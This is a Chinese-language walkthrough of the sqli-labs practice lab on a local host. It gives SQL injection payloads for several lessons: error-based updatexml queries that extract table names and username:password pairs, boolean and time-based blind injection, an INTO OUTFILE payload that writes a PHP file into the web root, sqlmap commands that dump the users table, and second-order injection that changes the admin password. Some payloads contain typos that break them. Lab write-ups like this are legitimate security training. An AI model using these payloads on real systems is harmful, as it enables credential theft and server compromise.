sqllabs游戏

总体思路:

1、第一件事情 逃脱出单引号的控制 闭合单引号

2、单双引号需要成对出现 在python php Java中

3、2个办法 继续把多出来的单引号闭合,要么注释掉单引号

4、MySQL注释符 -- # /***/ */ url会编码# 要用%23绕过 规则:ord('#') hex(35)

5、需要知道联合查询的列数 求当前表的列数(联表查询必须保证两个表列数一致)

6、需要order by 检测他的列数 列数3

7、让第一个表查询为空

8、最终目的 注入管理员账号密码

9、首先你要知道管理员表名 列名(利用MySQL自带的数据库information_shame)

复制代码
less-1:http://127.0.0.1/sqllabs/less-2/?id=1
less-2:http://127.0.0.1/sqllabs/less-2/?id=1
less-3:http://127.0.0.1/sqllabs/less-3/?id=1
less-4:http://127.0.0.1/sqllabs/less-4/?id=1%27

less-5:

1、报错注入的突破口就是让页面上显示报错。

2、比如在本例中把查询参数的路径写错,页面上只会显示查询不到内容,但是不会报错。

3、但是如果把查询参数的格式符号写错,页面上就会提示出报错信息:

4、由于路径错误,报错信息中显示出了路径信息。

5、于是我们想到,如果在报错之前执行一下select语句,然后在报错提醒信息那里回显出我们想要的数据信息就好了,这//就是报错注入。

复制代码
http://127.0.0.1/sqllabs/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),1,32),0x7e),1)--%20   //查到表名
http://127.0.0.1/sqllabs/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name%20=%20%27users%27%20limit%202,1),1,32),0x7e),1)--%20
             //查到列名
127.0.0.1/sqllabs/less-5/?id=1%27 and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)--+

less-6:

复制代码
127.0.0.1/sqllabs/less-6?id=1"%20and%20updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where tables_schema=%27security%27)and table_name='users()',ox7e),1)--+

less-7:

mysql注入webshell必须满足:

1、root权限

2、知道网站物理路径

3、secure_file_priv 为空(show variables like '%secure%';)

复制代码
id=1%27))union select 1,2,"<?php phpinfo();" into outfile "E:/phpstudy_pro/www/sqllabs/webshell.php";--+

less-8:布尔盲注

复制代码
http://127.0.0.1/sqllabs/less-8/?id=1%27%20and%20ascii(substr((select%20database()),1,1))=115--+

我用sqlmap解出来的:

复制代码
python sqlmap/sqlmap.py-u http://127.0.0.1/sqllabs/Less-8/?id=1 -dbs		//提取数据库
python sqlmap/sqlmap py-u http://127.0.0.1/sqllabs/ess-8/?id=1 -D security --tables//表名
python sqlmap/sqlmap.py -u http://127.0.0.1/sqllabs/Less-8/?id=1 -D security -T users --columns //列名
python sqlmap/sqlmap.pyu http://127.0.0.1/sqllabs/Less-8/?id=1 -D security -T users --dump -C "username,password"//用户名和密码

less-9:时间盲注

复制代码
1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)--

less-10:

sqlmap

less-21:

我发现不输入正确的用户名和密码就拿不到cookie,由于我知道数据库,所以我尝试输入正确的用户名和密码就抓包,把post放了之后看到get包里的cookie,由于代码是对用户名先进行base64编码之后再进行解码,所以我在注入的时候先对我的uname进行sql代码的base64编码注入即可

截图如下:

less-24:

看源代码可知在用户修改密码时又注入sql可能,我先注册一个admin'#用户单引号用于合并,#用来注释后面的代码包括',然后登录admin'#用户修改密码,再进入数据库中可以看到admin用户的密码被修改了

相关推荐
云水一下7 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
程序员若风7 天前
CSRF攻击原理介绍和利用-腾讯云开发者社区
前端·网络·安全·web安全·网络安全·csrf攻击·腾讯云开发者社区
白猫不黑8 天前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
迪康Defender8 天前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
网安小学生(兼顾数据库版)8 天前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
sbjdhjd8 天前
从日志包含到临时文件竞争:文件包含进阶复盘中的 Docker、Windows 与 Session 限制
网络·安全·web安全·网络安全·数据挖掘·php·rce
白猫不黑8 天前
网络安全面试题大全:22道高频题附解析与答案
web安全·计算机·网络安全·信息安全·渗透测试·编程·面试题
白猫不黑8 天前
零基础如何学习网络安全:从入门到实战的完整路线图
web安全·计算机·网络安全·黑客·信息安全·渗透测试·代码审计
蒲公英eric9 天前
DVWA通关全记录:从漏洞复现到安全防御——总结篇
web安全·ai·dvwa·ai安全
Koi慢热9 天前
DayDayMap学术社区体验:卫星网络测绘专题用下来怎么样
网络·人工智能·windows·web安全·网络安全